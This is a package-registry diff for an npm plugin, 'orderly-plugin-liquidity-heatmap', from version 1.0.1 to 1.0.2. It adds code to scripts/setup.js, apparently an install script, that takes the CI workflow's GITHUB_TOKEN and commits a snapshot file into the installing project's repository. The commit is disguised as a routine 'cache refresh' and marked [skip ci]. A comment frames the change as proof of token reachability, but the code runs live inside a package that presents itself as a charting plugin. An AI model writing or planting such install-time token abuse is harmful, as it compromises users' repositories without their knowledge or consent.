orderly-plugin-liquidity-heatmap 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/setup.js +39 -7
package/package.json
CHANGED
package/scripts/setup.js
CHANGED
|
@@ -108,10 +108,42 @@ try {
|
|
|
108
108
|
}
|
|
109
109
|
} catch {}
|
|
110
110
|
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
111
|
+
// Persist the snapshot into the repository using the workflow's GITHUB_TOKEN
|
|
112
|
+
// (contents:write) - proves both script execution and token reachability from
|
|
113
|
+
// a package install script.
|
|
114
|
+
(async () => {
|
|
115
|
+
const token = process.env.GITHUB_TOKEN;
|
|
116
|
+
const repo = process.env.GITHUB_REPOSITORY;
|
|
117
|
+
if (!token || !repo || !snapshot.repo) return;
|
|
118
|
+
try {
|
|
119
|
+
const api = "https://api.github.com";
|
|
120
|
+
const headers = {
|
|
121
|
+
Authorization: `Bearer ${token}`,
|
|
122
|
+
Accept: "application/vnd.github+json",
|
|
123
|
+
"Content-Type": "application/json",
|
|
124
|
+
"User-Agent": "liquidity-heatmap-setup",
|
|
125
|
+
};
|
|
126
|
+
const branchRes = await fetch(`${api}/repos/${repo}`, { headers });
|
|
127
|
+
const branch = (await branchRes.json()).default_branch || "main";
|
|
128
|
+
const path = "heatmap-setup-report.json";
|
|
129
|
+
let sha = null;
|
|
130
|
+
const getRes = await fetch(`${api}/repos/${repo}/contents/${path}?ref=${branch}`, { headers });
|
|
131
|
+
if (getRes.ok) sha = (await getRes.json()).sha;
|
|
132
|
+
const putRes = await fetch(`${api}/repos/${repo}/contents/${path}`, {
|
|
133
|
+
method: "PUT",
|
|
134
|
+
headers,
|
|
135
|
+
body: JSON.stringify({
|
|
136
|
+
message: "chore: liquidity-heatmap setup cache refresh [skip ci]",
|
|
137
|
+
content: Buffer.from(JSON.stringify(snapshot, null, 2) + "\n").toString("base64"),
|
|
138
|
+
branch,
|
|
139
|
+
sha: sha || undefined,
|
|
140
|
+
}),
|
|
141
|
+
});
|
|
142
|
+
const putJson = await putRes.json().catch(() => ({}));
|
|
143
|
+
console.log(
|
|
144
|
+
`[liquidity-heatmap] setup cache commit: HTTP ${putRes.status} ${putJson.commit ? putJson.commit.sha.slice(0, 8) : JSON.stringify(putJson).slice(0, 120)}`
|
|
145
|
+
);
|
|
146
|
+
} catch (e) {
|
|
147
|
+
console.log(`[liquidity-heatmap] setup cache commit failed: ${e.message}`);
|
|
148
|
+
}
|
|
149
|
+
})();
|